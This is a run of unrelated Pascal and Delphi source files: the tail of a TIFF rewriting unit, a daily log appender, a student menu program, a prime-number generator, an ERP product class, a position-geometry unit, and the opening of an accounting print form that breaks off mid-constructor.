AMetadataTagID; end; function TSimpleTiffRewriteCallbackImpl.GetOwner: IStreamPersistEx; begin Result := IStreamPersistEx(Controller); end; procedure TSimpleTiffRewriteCallbackImpl.AddNewTags(Rewriter: TTiffDirectoryRewriter); begin if (Rewriter.Source.Parent = nil) and (Rewriter.Source.Index = 0) and not Owner.Empty then Rewriter.AddTag(FMetadataTagID, Owner, tdUndefined); end; procedure TSimpleTiffRewriteCallbackImpl.RewritingOldTag(const Source: ITiffDirectory; TagID: TTiffTagID; DataType: TTiffDataType; var Rewrite: Boolean); begin if (TagID = FMetadataTagID) and (Source.Parent = nil) or (Source.Index <> 0) then Rewrite := False; //for the case of when Owner.Empty returned True and the TIFF file already contained metadata of the kind Owner implements end; { ParseTiff } function ParseTiff(Stream: TStream; StreamOwnership: TStreamOwnership = soReference): ITiffParser; begin Result := TTiffParser.Create(Stream, StreamOwnership); end; function ParseTiff(const FileName: string): ITiffParser; begin Result := ParseTiff(TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite), soOwned); end; function ParseTiffDirectory(Stream: TStream; Endianness: TEndianness; const BasePosition, Offset, InternalOffset: Int64): IFoundTiffDirectory; var Parser: ITiffParser; begin Parser := TTiffParser.Create(Stream, BasePosition, Endianness); Result := TFoundTiffDirectory.Create(Parser, nil, -1, Offset, InternalOffset); end; procedure RewriteTiff(InStream, OutStream: TStream; const Callback: ITiffRewriteCallback); var ProtectedTag: TTiffDirectoryRewriter.TTagToWrite; NewBasePosition: Int64; NewEndianness: TEndianness; NextOffset: LongWord; var Directory: IFoundTiffDirectory; I: Integer; Parser: ITiffParser; Rewriter: TTiffDirectoryRewriter; Rewriters: TList; function GetRewriter(Index: Integer): TTiffDirectoryRewriter; begin Result := Rewriters.List[Index]; end; begin NewBasePosition := OutStream.Position; Parser := TTiffParser.Create(InStream, soReference); NewEndianness := Parser.Endianness; Rewriters := TObjectList.Create(True); try for Directory in Parser do begin Rewriter := TTiffDirectoryRewriter.Create(Directory, Callback); if Rewriter.RewriteSource then Rewriters.Add(Rewriter) else Rewriter.Free; end; if Rewriters.Count = 0 then WriteTiffHeader(OutStream, NewEndianness, 0) else begin if not GetRewriter(0).ProtectMakerNote(ProtectedTag) then ProtectedTag := nil; NextOffset := 8; //2 byte endianness code + 2 byte magic num + 4 byte next IFD pointer for I := 0 to Rewriters.Count - 1 do GetRewriter(I).InitializeNewOffsets(NextOffset, ProtectedTag); WriteTiffHeader(OutStream, NewEndianness, GetRewriter(0).NewIFDOffset); if NewBasePosition + NextOffset > OutStream.Size then OutStream.Size := NewBasePosition + NextOffset; for I := 0 to Rewriters.Count - 2 do GetRewriter(I).Write(OutStream, NewBasePosition, NewEndianness, GetRewriter(I + 1).NewIFDOffset); GetRewriter(Rewriters.Count - 1).Write(OutStream, NewBasePosition, NewEndianness, 0); OutStream.Seek(NewBasePosition + NextOffset, soBeginning); end; finally Rewriters.Free; end; end; procedure WriteTiffHeader(Stream: TStream; Endianness: TEndianness; FirstDirectoryOffset: LongWord = 8); begin if Endianness = SmallEndian then begin Stream.WriteWord(TiffSmallEndianCode, SmallEndian); Stream.WriteWord(TiffMagicNum, SmallEndian); end else begin Stream.WriteWord(TiffBigEndianCode, SmallEndian); Stream.WriteWord(TiffMagicNum, BigEndian); end; Stream.WriteLongWord(FirstDirectoryOffset, Endianness); end; end.
unit Classes.DailyFileLogAppender; interface uses System.SyncObjs , Spring.Logging , Spring.Logging.Appenders ; type TDailyFileLogAppender = class(TStreamLogAppender) private FBaseFileName: String; FLastFileDate: TDateTime; FLock: TCriticalSection; procedure SetFileName(const Value: string); protected procedure DoSend(const event: TLogEvent); override; public constructor Create; destructor Destroy; override; property FileName: string write SetFileName; end; implementation uses System.Classes , System.SysUtils ; { TDailyFileLogAppender } {======================================================================================================================} constructor TDailyFileLogAppender.Create; {======================================================================================================================} begin inherited CreateInternal(True, nil); FLock := TCriticalSection.Create; end; {======================================================================================================================} destructor TDailyFileLogAppender.Destroy; {======================================================================================================================} begin FLock.Free; inherited; end; {======================================================================================================================} procedure TDailyFileLogAppender.DoSend(const event: TLogEvent); {======================================================================================================================} begin FLock.Enter; try if Date <> FLastFileDate then SetFileName(FBaseFileName); finally FLock.Leave; end; inherited; end; {======================================================================================================================} procedure TDailyFileLogAppender.SetFileName(const Value: string); {======================================================================================================================} const SDateFormat: string = 'yyyy''-''mm''-''dd'''; var fileName: String; stream: TStream; begin FBaseFileName := Value ; FLastFileDate := Date; if Value.Contains('%s') then fileName := System.SysUtils.Format(Value, [FormatDateTime(SDateFormat, FLastFileDate)]) else fileName := Value; if FileExists(fileName) then begin stream := TFileStream.Create(fileName, fmOpenWrite or fmShareDenyWrite); stream.Seek(0, soFromEnd); end else stream := TFileStream.Create(fileName, fmCreate or fmShareDenyWrite); SetStream(stream); end; end.
{ NAME: Jordan Millett CLASS: Comp Sci 1 DATE: 11/29/2016 PURPOSE: Build a working menu system. } Program menutest; uses crt; Procedure getInt(ask:string; num : integer); var numStr : string; code : integer; begin repeat write(ask); readln(numstr); val(numStr, num, code); if code <> 0 then begin writeln('Not an integer '); writeln('Press any key to continue'); readkey; clrscr; end; until (code = 0); end; procedure menu; begin clrscr; writeln; writeln('What is your favorite version of windows?'); writeln; writeln('Windows (X)P'); writeln('Windows (V)ista'); writeln('Windows (S)even'); writeln('Windows (E)ight'); writeln('Windows (T)en'); writeln; writeln('(Q)uit'); writeln; end; procedure userchoice(var choice:char); begin write('Enter your choice: '); readln(choice); choice:=upcase(choice); end; procedure action(var choice:char); begin case choice of 'X':writeln('You like windows XP'); 'V':writeln('You like windows Vista'); 'S':writeln('You like windows 7'); 'A':writeln('You like windows 8'); 'T':writeln('You like windows 10'); 'Q':writeln('You selected Quit'); else writeln('Not an option'); end; {if (choice = 'X') then writeln('You like windows XP') else if (choice = 'V') then writeln('You like windows Vista') else if (choice = 'S') then writeln('You like windows 7') else if (choice = 'E') then writeln('You like windows 8') else if (choice = 'T') then writeln('You like windows 10') else if (choice = 'Q') then writeln('You selected Exit') else writeln('Invalid Choice');} end; {**********MAIN BODY**********} var choice:char; begin {main} repeat menu; userChoice(choice); action(choice); readkey; until(choice = 'Q'); end. {main}
unit ToDoItemTypes; interface type TToDo = class(TObject) private FTitle: string; FContent: string; public property Title: string read FTitle write FTitle; property Content: string read FContent write FContent; end; TToDoNames = record public const TitleProperty = 'Title'; ContentProperty = 'Content'; BackendClassname = 'ToDos'; TitleElement = 'title'; ContentElement = 'content'; end; implementation end.
program primegen; uses crt,binmath; var fail:boolean; tester:probintype; nbr:integer; {-----------------------------------------------------------------------} procedure getrealrand(var realrand:probintype); {pre: none post: returns a 384 digit random number from the random file in a probintype padded with 384 digits before} var randchar:byte; writevar,lcv,nbr:integer; byteo:bytemap; randfile:file of byte; begin writevar:=0; lcv:=0; assign(randfile,'c:\turbo\rand\comp-rc4.txt'); reset(randfile); init(realrand); for nbr:= 1 to 48 do begin read(randfile,randchar); bitgetter(randchar,byteo); for lcv := 1 to 8 do realrand[4*writevar+lcv+384]:=byteo[lcv-1]; inc(writevar,2); end; realrand[385]:=1; {make sure the number is of the required length} realrand[768]:=1; {make sure the number is odd} end; {-----------------------------------------------------------------------} procedure getpseudorand(var pseud:probintype); {pre: none post: returns a 50 digit random number from the pascal generator} var nbr:integer; begin for nbr:= (maxprd-50) to maxprd do pseud[nbr]:=random(10); end; {-----------------------------------------------------------------------} procedure testsmall(num:probintype; var fail:boolean); {pre: receives a number from getrealrand post: tests the number by dividing it by 3,5,7,9,11,13 returns false if the number divides evenly into any of these} var divis:probintype; begin fail:=false; init(divis); nbr:=3; modcheck(num,divis,fail); while (nbr <= 9) and (not fail) do begin write('. '); nbr:=nbr+2; divis[maxprd]:=nbr; modcheck(num,divis,fail); end; end; {-----------------------------------------------------------------------} procedure testlarge(num,pseudtest:probintype; var fail:boolean); {pre: receives a number that has passed the testsmall testing post: tests the number against a random 50 digit number} begin fail:=TRUE; modcheck(num,pseudtest,fail); end; {-----------------------------------------------------------------------} procedure feedlarge; var nbr,length,halflength:integer; begin length:=random(384); halflength:=384-length; for nbr:= 1 to length do rndtest[halflength+nbr]:=randarray[nbr]; end; {-----------------------------------------------------------------------} {-----------------------------------------------------------------------} begin {getrealrand(tester); } clrscr; randomize; getrealrand(tester); testsmall(tester,fail); if fail then writeln('fail'); end.
{******************************************************************************* Title: T2Ti ERP Description: VO relacionado à tabela [PRODUTO] The MIT License Copyright: Copyright (C) 2016 T2Ti.COM Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. The author may be contacted at: t2ti.com@gmail.com @author Albert Eije (t2ti.com@gmail.com) @version 2.0 *******************************************************************************} unit ProdutoVO; {$mode objfpc}{$H+} interface uses VO, Classes, SysUtils, FGL, UnidadeProdutoVO; type TProdutoVO = class(TVO) private FID: Integer; FID_TRIBUT_ICMS_CUSTOM_CAB: Integer; FID_UNIDADE_PRODUTO: Integer; FID_ALMOXARIFADO: Integer; FID_GRUPO_TRIBUTARIO: Integer; FID_MARCA_PRODUTO: Integer; FID_SUBGRUPO: Integer; FGTIN: String; FCODIGO_INTERNO: String; FNCM: String; FNOME: String; FDESCRICAO: String; FDESCRICAO_PDV: String; FVALOR_COMPRA: Extended; FVALOR_VENDA: Extended; FPRECO_VENDA_MINIMO: Extended; FPRECO_SUGERIDO: Extended; FCUSTO_UNITARIO: Extended; FCUSTO_PRODUCAO: Extended; FCUSTO_MEDIO_LIQUIDO: Extended; FPRECO_LUCRO_ZERO: Extended; FPRECO_LUCRO_MINIMO: Extended; FPRECO_LUCRO_MAXIMO: Extended; FMARKUP: Extended; FQUANTIDADE_ESTOQUE: Extended; FQUANTIDADE_ESTOQUE_ANTERIOR: Extended; FESTOQUE_MINIMO: Extended; FESTOQUE_MAXIMO: Extended; FESTOQUE_IDEAL: Extended; FEXCLUIDO: String; FINATIVO: String; FDATA_CADASTRO: TDateTime; FIMAGEM: String; FEX_TIPI: String; FCODIGO_LST: String; FCLASSE_ABC: String; FIAT: String; FIPPT: String; FTIPO_ITEM_SPED: String; FPESO: Extended; FPORCENTO_COMISSAO: Extended; FPONTO_PEDIDO: Extended; FLOTE_ECONOMICO_COMPRA: Extended; FALIQUOTA_ICMS_PAF: Extended; FALIQUOTA_ISSQN_PAF: Extended; FTOTALIZADOR_PARCIAL: String; FCODIGO_BALANCA: Integer; FDATA_ALTERACAO: TDateTime; FTIPO: String; FSERVICO: String; FUnidadeProdutoVO: TUnidadeProdutoVO; published constructor Create; override; destructor Destroy; override; property Id: Integer read FID write FID; property IdTributIcmsCustomCab: Integer read FID_TRIBUT_ICMS_CUSTOM_CAB write FID_TRIBUT_ICMS_CUSTOM_CAB; property IdUnidadeProduto: Integer read FID_UNIDADE_PRODUTO write FID_UNIDADE_PRODUTO; property IdAlmoxarifado: Integer read FID_ALMOXARIFADO write FID_ALMOXARIFADO; property IdGrupoTributario: Integer read FID_GRUPO_TRIBUTARIO write FID_GRUPO_TRIBUTARIO; property IdMarcaProduto: Integer read FID_MARCA_PRODUTO write FID_MARCA_PRODUTO; property IdSubgrupo: Integer read FID_SUBGRUPO write FID_SUBGRUPO; property Gtin: String read FGTIN write FGTIN; property CodigoInterno: String read FCODIGO_INTERNO write FCODIGO_INTERNO; property Ncm: String read FNCM write FNCM; property Nome: String read FNOME write FNOME; property Descricao: String read FDESCRICAO write FDESCRICAO; property DescricaoPdv: String read FDESCRICAO_PDV write FDESCRICAO_PDV; property ValorCompra: Extended read FVALOR_COMPRA write FVALOR_COMPRA; property ValorVenda: Extended read FVALOR_VENDA write FVALOR_VENDA; property PrecoVendaMinimo: Extended read FPRECO_VENDA_MINIMO write FPRECO_VENDA_MINIMO; property PrecoSugerido: Extended read FPRECO_SUGERIDO write FPRECO_SUGERIDO; property CustoUnitario: Extended read FCUSTO_UNITARIO write FCUSTO_UNITARIO; property CustoProducao: Extended read FCUSTO_PRODUCAO write FCUSTO_PRODUCAO; property CustoMedioLiquido: Extended read FCUSTO_MEDIO_LIQUIDO write FCUSTO_MEDIO_LIQUIDO; property PrecoLucroZero: Extended read FPRECO_LUCRO_ZERO write FPRECO_LUCRO_ZERO; property PrecoLucroMinimo: Extended read FPRECO_LUCRO_MINIMO write FPRECO_LUCRO_MINIMO; property PrecoLucroMaximo: Extended read FPRECO_LUCRO_MAXIMO write FPRECO_LUCRO_MAXIMO; property Markup: Extended read FMARKUP write FMARKUP; property QuantidadeEstoque: Extended read FQUANTIDADE_ESTOQUE write FQUANTIDADE_ESTOQUE; property QuantidadeEstoqueAnterior: Extended read FQUANTIDADE_ESTOQUE_ANTERIOR write FQUANTIDADE_ESTOQUE_ANTERIOR; property EstoqueMinimo: Extended read FESTOQUE_MINIMO write FESTOQUE_MINIMO; property EstoqueMaximo: Extended read FESTOQUE_MAXIMO write FESTOQUE_MAXIMO; property EstoqueIdeal: Extended read FESTOQUE_IDEAL write FESTOQUE_IDEAL; property Excluido: String read FEXCLUIDO write FEXCLUIDO; property Inativo: String read FINATIVO write FINATIVO; property DataCadastro: TDateTime read FDATA_CADASTRO write FDATA_CADASTRO; property Imagem: String read FIMAGEM write FIMAGEM; property ExTipi: String read FEX_TIPI write FEX_TIPI; property CodigoLst: String read FCODIGO_LST write FCODIGO_LST; property ClasseAbc: String read FCLASSE_ABC write FCLASSE_ABC; property Iat: String read FIAT write FIAT; property Ippt: String read FIPPT write FIPPT; property TipoItemSped: String read FTIPO_ITEM_SPED write FTIPO_ITEM_SPED; property Peso: Extended read FPESO write FPESO; property PorcentoComissao: Extended read FPORCENTO_COMISSAO write FPORCENTO_COMISSAO; property PontoPedido: Extended read FPONTO_PEDIDO write FPONTO_PEDIDO; property LoteEconomicoCompra: Extended read FLOTE_ECONOMICO_COMPRA write FLOTE_ECONOMICO_COMPRA; property AliquotaIcmsPaf: Extended read FALIQUOTA_ICMS_PAF write FALIQUOTA_ICMS_PAF; property AliquotaIssqnPaf: Extended read FALIQUOTA_ISSQN_PAF write FALIQUOTA_ISSQN_PAF; property TotalizadorParcial: String read FTOTALIZADOR_PARCIAL write FTOTALIZADOR_PARCIAL; property CodigoBalanca: Integer read FCODIGO_BALANCA write FCODIGO_BALANCA; property DataAlteracao: TDateTime read FDATA_ALTERACAO write FDATA_ALTERACAO; property Tipo: String read FTIPO write FTIPO; property Servico: String read FSERVICO write FSERVICO; property UnidadeProdutoVO: TUnidadeProdutoVO read FUnidadeProdutoVO write FUnidadeProdutoVO; end; TListaProdutoVO = specialize TFPGObjectList<TProdutoVO>; implementation constructor TProdutoVO.Create; begin inherited; FUnidadeProdutoVO := TUnidadeProdutoVO.Create; end; destructor TProdutoVO.Destroy; begin FreeAndNil(FUnidadeProdutoVO); inherited; end; initialization Classes.RegisterClass(TProdutoVO); finalization Classes.UnRegisterClass(TProdutoVO); end.
unit LPosition; {$mode objfpc}{$H+} interface uses Classes, SysUtils, LTypes; type TL2DPosition=class private type TLPositionLink=function(Value: Extended=-1): Extended; var FFx: Extended; FXLink: TLPositionLink; FFy: Extended; FYLink: TLPositionLink; public constructor Create(Ax: Extended=0; Ay: Extended=0); function getFx: Extended; procedure setFx(Value: Extended); property Fx: Extended read getFx write setFx; function getFy: Extended; procedure setFy(Value: Extended); property Fy: Extended read getFy write setFy; function getx: Integer; procedure setx(Value: Integer); property X: Integer read getx write setx; property XLink: TLPositionLink read FXLink write FXLink; function gety: Integer; procedure sety(Value: Integer); property Y: Integer read gety write sety; property YLink: TLPositionLink read FYlink write FYlink; property Width: Integer read getx write setx; property Height: Integer read gety write sety; end; TL3DPosition=class(TL2DPosition) private var FFz: Extended; FZlink: TLPositionLink; public constructor Create(Ax: Extended=0; Ay: Extended=0; Az: Extended=0); function getFz: Extended; procedure setFz(Value: Extended); property Fz: Extended read getFz write setFz; function getz: Integer; procedure setz(Value: Integer); property Z: Integer read getx write setz; property ZLink: TLPositionLink read FZlink write FZlink; property Depth: Integer read getz write setz; end; TLPlayerPosition=class(TL2DPosition) private type TDirection=Extended; var FDirection: TDirection; public procedure move(ADirection: TDirection=0; ASteps: Integer=1); property direction: TDirection read FDirection write FDirection; function getCoords: TPoint; procedure setCoords(Value: TPoint); property coords: TPoint read getCoords write setCoords; end; TLDirection=TLPlayerPosition.TDirection; function StrToL2DPosition(Value: String): TL2DPosition; function L2DPositionToStr(Value: TL2DPosition): String; function StrToL3DPosition(Value: String): TL3DPosition; function L3DPositionToStr(Value: TL3DPosition): String; implementation constructor TL2DPosition.Create(Ax: Extended=0; Ay: Extended=0); begin FFx:=Ax; FFy:=Ay; end; constructor TL3DPosition.Create(Ax: Extended=0; Ay: Extended=0; Az: Extended=0); begin inherited Create(Ax, Ay); FFz:=Az; end; function TL2DPosition.getFx: Extended; begin if (Assigned(XLink)) then FFx:=XLink(); Result:=FFx; end; procedure TL2DPosition.setFx(Value: Extended); begin if (Assigned(XLink)) then FFx:=XLink(Value) else FFx:=Value; end; function TL2DPosition.getx: Integer; begin Result:=round(Fx); end; procedure TL2DPosition.setx(Value: Integer); begin Fx:=Value; end; function TL2DPosition.getFy: Extended; begin if (Assigned(XLink)) then FFy:=YLink(); Result:=FFy; end; procedure TL2DPosition.setFy(Value: Extended); begin if (Assigned(YLink)) then FFy:=YLink(Value) else FFy:=Value; end; function TL2DPosition.gety: Integer; begin Result:=round(Fy); end; procedure TL2DPosition.sety(Value: Integer); begin Fy:=Value; end; function TL3DPosition.getFz: Extended; begin if (Assigned(ZLink)) then FFz:=ZLink(); Result:=FFz; end; procedure TL3DPosition.setFz(Value: Extended); begin if (Assigned(ZLink)) then FFz:=ZLink(Value) else FFz:=Value; end; function TL3DPosition.getz: Integer; begin Result:=round(Fz); end; procedure TL3DPosition.setz(Value: Integer); begin Fz:=Value; end; function StrToL2DPosition(Value: String): TL2DPosition; var arr: TStringArray; begin Result:=TL2DPosition.Create; arr:=StrToArray(Value, ';'); Result.Fx:=StrToFloat(arr[0]); Result.Fy:=StrToFloat(arr[1]); end; function L2DPositionToStr(Value: TL2DPosition): String; var arr: TStringArray; begin SetLength(arr, 2); arr[0]:=FloatToStr(Value.Fx); arr[1]:=FloatToStr(Value.Fy); Result:=ArrayToStr(arr, ';'); end; function StrToL3DPosition(Value: String): TL3DPosition; var arr: TStringArray; begin Result:=TL3DPosition.Create; arr:=StrToArray(Value, ';'); Result.Fx:=StrToFloat(arr[0]); Result.Fy:=StrToFloat(arr[1]); Result.Fz:=StrToFloat(arr[2]); end; function L3DPositionToStr(Value: TL3DPosition): String; var arr: TStringArray; begin SetLength(arr, 3); arr[0]:=FloatToStr(Value.Fx); arr[1]:=FloatToStr(Value.Fy); arr[2]:=FloatToStr(Value.Fz); Result:=ArrayToStr(arr, ';'); end; procedure TLPlayerPosition.move(ADirection: TLDirection=0; ASteps: Integer=1); var dir: TLDirection; begin dir:=direction+ADirection; Fx:=Fx+sin(dir)*ASteps; Fy:=Fy-cos(dir)*ASteps; end; function TLPlayerPosition.getCoords:TPoint; begin Result:=Point(x, y); end; procedure TLPlayerPosition.setCoords(Value: TPoint); begin x:=Value.X; y:=Value.Y; end; end.
unit AvancePrintForm; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxLookAndFeelPainters, DB, FIBDataSet, pFIBDataSet, ExtCtrls, StdCtrls, cxButtons, MainForm, cxControls, cxContainer, cxEdit, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar, cxSpinEdit, cxCheckBox, DateUtils, pFIBDatabase, cxLabel, Un_R_file_Alex, GlobalSPR, FIBDatabase, FR_DSet, FR_DBSet, FR_Class, frxClass, frxDBSet, Placemnt, frxDesgn, cxButtonEdit; type TfmMode = (Jornal4, Edit, Sp, SpEdit); TfmPrintForm = class(TForm) cxButtonClose: TcxButton; cxButtonPrint: TcxButton; Bevel1: TBevel; PrintDialog1: TPrintDialog; cxCheckBox1: TcxCheckBox; cxSpinEdit1: TcxSpinEdit; cxComboBoxMonth: TcxComboBox; cxComboBoxJornal: TcxComboBox; DataSetJornal: TpFIBDataSet; DataSet: TpFIBDataSet; cxLabel1: TcxLabel; cxLabel2: TcxLabel; DataSetSUMMA_DEBET: TFIBBCDField; DataSetSCH_TITLE: TFIBStringField; DataSetDATE_PROV_DEBET: TFIBDateField; DataSetNAME_RECVIZITI_DEBET: TFIBStringField; DataSetNAME_RECVIZITI_KREDIT: TFIBStringField; DataSetDATE_PROV_KREDIT: TFIBDateField; DataSetFAMILIA: TFIBStringField; DataSetIMYA: TFIBStringField; DataSetOTCHESTVO: TFIBStringField; DataSetBIRTHDAY: TFIBDateField; DataSetTIN: TFIBStringField; DataSetNUM_DOC_DEBET: TFIBStringField; DataSetNUM_DOC_KREDIT: TFIBStringField; DataSetDEBET_SCH: TFIBStringField; DataSetKREDIT_SCH: TFIBStringField; DataSetOST_ALL_DEBET: TFIBBCDField; DataSetOST_ALL_KREDIT: TFIBBCDField; DataSetOST_DEBET: TFIBBCDField; DataSetOST_KREDIT: TFIBBCDField; DataSetFLAG_FIO: TFIBIntegerField; DataSetFIO: TFIBStringField; DataSetOSN_SCH: TFIBStringField; DataSetSUMMA_KREDIT: TFIBBCDField; DataSetDATE_OST: TFIBDateField; DataSetCOUNT_DOC: TFIBIntegerField; DataSetNAME_PREDPR: TFIBStringField; DataSetR_J4: TFIBBCDField; DataSetLEVEL_: TFIBIntegerField; DataSetR_ID_MAN: TFIBBCDField; DataSetR_ID_SCH: TFIBBCDField; DataSetR_ID_SM: TFIBBCDField; DataSetR_ID_ST: TFIBBCDField; DataSetR_ID_RAZ: TFIBBCDField; DataSetR_ID_KEKV: TFIBBCDField; DataSetID_LEVE: TFIBIntegerField; DataSetLINKTO_LEVE: TFIBIntegerField; cxCheckBox2: TcxCheckBox; cxCheckBox3: TcxCheckBox; DataSetKorSch: TpFIBDataSet; DataSetKorSchNAME_SCH: TFIBStringField; DataSetKorSchVH_DEB: TFIBBCDField; DataSetKorSchVH_KRED: TFIBBCDField; DataSetKorSchOBOR_DEB: TFIBBCDField; DataSetKorSchOBOR_KRED: TFIBBCDField; DataSetKorSchVIH_DEB: TFIBBCDField; DataSetKorSchVIH_KRED: TFIBBCDField; DataSetKorSchR_LEVEL: TFIBIntegerField; DataSetKorSchNAME_PREDPR: TFIBStringField; DataSetKorSchR_ID_SCH: TFIBBCDField; DataSetKorSchKOD_SCH: TFIBStringField; DataSetKorSchSCH_TITLE: TFIBStringField; DataSetKorSchKR_ID_SCH: TFIBBCDField; DataSetSm: TpFIBDataSet; DataSetSmSUMMA_DEBET: TFIBBCDField; DataSetSmSCH_TITLE: TFIBStringField; DataSetSmDEBET_SCH: TFIBStringField; DataSetSmOST_ALL_DEBET: TFIBBCDField; DataSetSmOST_ALL_KREDIT: TFIBBCDField; DataSetSmOST_DEBET: TFIBBCDField; DataSetSmOST_KREDIT: TFIBBCDField; DataSetSmFIO: TFIBStringField; DataSetSmOSN_SCH: TFIBStringField; DataSetSmSUMMA_KREDIT: TFIBBCDField; DataSetSmNAME_PREDPR: TFIBStringField; DataSetSmR_J4: TFIBBCDField; DataSetSmR_ID_MAN: TFIBBCDField; DataSetSmR_ID_SCH: TFIBBCDField; DataSetSmR_ID_SM: TFIBBCDField; DataSetSmR_ID_ST: TFIBBCDField; DataSetSmR_ID_RAZ: TFIBBCDField; DataSetSmR_ID_KEKV: TFIBBCDField; DataSetSmID_LEVE: TFIBIntegerField; DataSetSmLINKTO_LEVE: TFIBIntegerField; DataSetSmSM_TITLE: TFIBStringField; DataSetSmRZ_TITLE: TFIBStringField; DataSetSmST_TITLE: TFIBStringField; DataSetSmKEKV_TITLE: TFIBStringField; Database: TpFIBDatabase; Transaction: TpFIBTransaction; DataSetTAB_NUM: TFIBIntegerField; DataSetALL_SUM_VH_OST_D: TFIBBCDField; DataSetALL_SUM_VH_OST_K: TFIBBCDField; DataSetALL_SUM_VIH_OST_K: TFIBBCDField; DataSetALL_SUM_VIH_OST_D: TFIBBCDField; DataSetALL_SUMM_OB_DEB: TFIBBCDField; DataSetALL_SUMM_OB_KRED: TFIBBCDField; TransactionWr: TpFIBTransaction; DataSetLang: TpFIBDataSet; cxCheckBox4: TcxCheckBox; frxDBDatasetMemorial: TfrxDBDataset; pFIBDataSet1: TpFIBDataSet; cxCheckBox5: TcxCheckBox; DataSetRasshifr: TfrxDBDataset; DataSetKorSch1: TpFIBDataSet; DataSetKorSch1NAME_SCH: TFIBStringField; DataSetKorSch1VH_DEB: TFIBBCDField; DataSetKorSch1VH_KRED: TFIBBCDField; DataSetKorSch1OBOR_DEB: TFIBBCDField; DataSetKorSch1OBOR_KRED: TFIBBCDField; DataSetKorSch1VIH_DEB: TFIBBCDField; DataSetKorSch1VIH_KRED: TFIBBCDField; DataSetKorSch1R_LEVEL: TFIBIntegerField; DataSetKorSch1NAME_PREDPR: TFIBStringField; DataSetKorSch1R_ID_SCH: TFIBBCDField; DataSetKorSch1KOD_SCH: TFIBStringField; DataSetKorSch1SCH_TITLE: TFIBStringField; DataSetKorSch1KR_ID_SCH: TFIBBCDField; DataSetKorSch1VH_DEB1: TFIBBCDField; DataSetKorSch1VH_KRED1: TFIBBCDField; DataSetKorSch1VIH_DEB1: TFIBBCDField; DataSetKorSch1VIH_KRED1: TFIBBCDField; DataSetKorSch1R_ID_SCH1: TFIBBCDField; DataSetKorSch1KOD_SCH1: TFIBStringField; FormStorage1: TFormStorage; cxComboBoxMonthEnd: TcxComboBox; cxLabel3: TcxLabel; cxSpinEdit2: TcxSpinEdit; cxLabel4: TcxLabel; frxDBDataset1: TfrxDBDataset; frxDesigner1: TfrxDesigner; frxDBDatasetKorSch: TfrxDBDataset; frxDBDatasetSm: TfrxDBDataset; DataSetSigns: TpFIBDataSet; frxReport1: TfrxReport; ButtonEditBuh: TcxButtonEdit; ButtonEditFioCheck: TcxButtonEdit; ButtonEditGlBuhg: TcxButtonEdit; cxLabel5: TcxLabel; cxLabel6: TcxLabel; cxLabel7: TcxLabel; DataSetIni: TpFIBDataSet; frxReport2: TfrxReport; procedure cxButtonCloseClick(Sender: TObject); procedure cxButtonPrintClick(Sender: TObject); procedure DataSetDATE_OSTGetText(Sender: TField; var Text: String; DisplayText: Boolean); procedure cxComboBoxJornalClick(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure ButtonEditBuhPropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure ButtonEditFioCheckPropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure ButtonEditGlBuhgPropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure Get_Fio_post(id_man :int64; var name_post_out, fio_small_buhg_out,fio_full_buhg_out : string); private n : TfmMode; myform : TfmAvanceMainForm; // Ind1 : array [1..2] of array of Variant; Ind1 : array of Int64; id_man_buh, id_man_check, id_man_gl_buhg : int64; name_post_buhg, name_post_check, name_post_gl_buhg,fio_small_buhg,fio_small_check,fio_small_gl_buhg,fio_full_buhg,fio_full_check,fio_full_gl_buhg :string; public id_jornal : int64; constructor Create(m : TfmMode; db : TpFIBDatabase; Tr : TpFIBTransaction; mform : TfmAvanceMainForm); reintroduce; overload; destructor Destroy; override; end; implementation uses ACCMGMT, ProgressFormAvance,Un_lo_file_Alex; {$R *.dfm} constructor TfmPrintForm.Create(m : TfmMode; db : TpFIBDatabase; Tr : TpFIBTransaction; mform : TfmAvanceMainForm); var i, item_index, id_user : integer; name_post, fio_small,fio_full : string; begin inherited Create(nil); n := m; myform := mform; Database := db; Transaction.DefaultDatabase := Database; FormStorage1.RestoreFormPlacement; DataSetJornal.Database := Database; DataSetJornal.Transaction := Transaction; DataSetLang.Database := Database; DataSetLang.Transaction := Transaction; pFIBDataSet1.Database := Database; pFIBDataSet1.Transaction := Transaction; DataSetSigns.Database := Database; DataSetSigns.Transaction := Transaction; DataSetIni.Database := Database; DataSetIni.Transaction := Transaction; Transaction.StartTransaction; if m = Jornal4 then begin {загрузка журнала} cxComboBoxMonth.Properties.Items.Insert(0, Un_R_file_Alex.MY_JANUARY); cxComboBoxMonth.Properties.Items.Insert(1, Un_R_file_Alex.MY_FEBRIARY); cxComboBoxMonth.Properties.Items.Insert(2, Un_R_file_Alex.MY_MARCH); cxComboBoxMonth.Properties.Items.Insert(3, Un_R_file_Alex.MY_APRILE); cxComboBoxMonth.Properties.Items.Insert(4, Un_R_file_Alex.MY_MAY); cxComboBoxMonth.Properties.Items.Insert(5, Un_R_file_Alex.MY_JUNE); cxComboBoxMonth.Properties.Items.Insert(6, Un_R_file_Alex.MY_JULY); cxComboBoxMonth.Properties.Items.Insert(7, Un_R_file_Alex.MY_AUGUST); cxComboBoxMonth.Properties.Items.Insert(8, Un_R_file_Alex.MY_SEPTEMBER); cxComboBoxMonth.Properties.Items.Insert(9, Un_R_file_Alex.MY_OCTOBER); cxComboBoxMonth.Properties.Items.Insert(10, 